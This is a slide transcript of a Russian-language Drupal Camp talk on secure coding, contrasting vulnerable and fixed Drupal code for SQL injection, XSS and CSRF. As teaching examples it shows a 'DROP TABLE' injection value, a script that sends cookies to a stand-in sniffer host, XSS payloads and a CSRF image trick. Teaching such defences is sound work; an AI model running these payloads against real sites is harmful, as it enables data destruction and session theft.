+ All Categories
Home > Technology > Безопасный код

Безопасный код

Date post: 24-May-2015
Category:
Upload: drupal-camp-kyiv
View: 1,433 times
Download: 4 times
Share this document with a friend
Popular Tags:
21
Безопасный код © Александр Швец [email protected]
Transcript
Page 1: Безопасный код

Безопасный код

© Александр Швец[email protected]

Page 2: Безопасный код

SQL инъекция

$result = db_query('SELECT *FROM usersWHERE id = '" + $userID + "';‘);

Page 3: Безопасный код

$userID = "5;DROP TABLE users";

Page 4: Безопасный код

$result = db_query('SELECT *FROM usersWHERE id = 5;DROP TABLE users;');

Page 5: Безопасный код

Неправильно

$result = db_query('SELECT *FROM usersWHERE id = '" + $userID + "';‘);

Page 6: Безопасный код

Правильно

$result = db_query('SELECT *FROM usersWHERE id = %d‘, $userID);

Page 7: Безопасный код

Cross-site scripting (XSS)

Основная проблема — кража пользовательских cookies, с помощью которых производится неавторизированный вход на сайт.

Page 8: Безопасный код

Как крадутся cookie

<script>document.write( ‘<img src=“http://site.com/sniff.php?c=‘ +

document.cookie + ’/>’);</script>

Page 9: Безопасный код

Уязвимость в реальной жизни

$output = ‘<a href=“’. $url .’”>’. $title .’</a>’;

Page 10: Безопасный код

$title = “</a><script>alert(document.cookie)</script><a>”;

Page 11: Безопасный код

<a href=“…”></a><script>alert(document.cookie)</script>

<a></a>

Page 12: Безопасный код

$url = “javascript:alert(document.cookie)”;

Page 13: Безопасный код

<a href=“javascript:alert(document.cookie)”>…</a>

Page 14: Безопасный код

Неправильно

$output = ‘<a href=“’. $url .’”>’. $title .’</a>’;

Page 15: Безопасный код

Правильно

$output = ‘<a href=“’. check_url($url) .’”>’.

check_plain($title) .’</a>’;

Page 16: Безопасный код

Еще лучше

$output = l($title, $url);

Page 17: Безопасный код

Фильтрация ввода — лечение от XSS

• check_plain()• check_markup()• ckeck_url()• t()• filter_xss_admin()

Page 18: Безопасный код

Подделка межсайтовых запросов (CSRF)

<a href=“http://site.com/fast_delete_node”>Быстро удалить документ</a>

Page 19: Безопасный код

А что если?

<img src=“http://site.com/fast_delete_node”/>

Page 20: Безопасный код

Лечение CSRF

Управляющий код должен выполняться только в обработчиках форм, либо с проверкой токенов.

Page 21: Безопасный код

Спасибо за внимание!

Контакты:Александр Швец[email protected]

Ссылки:http://drupaldance.com/lessons/secure-code-user-inputhttp://drupaldance.com/lessons/secure-code-database-layerhttp://drupaldance.com/lessons/secure-code-csrf


Recommended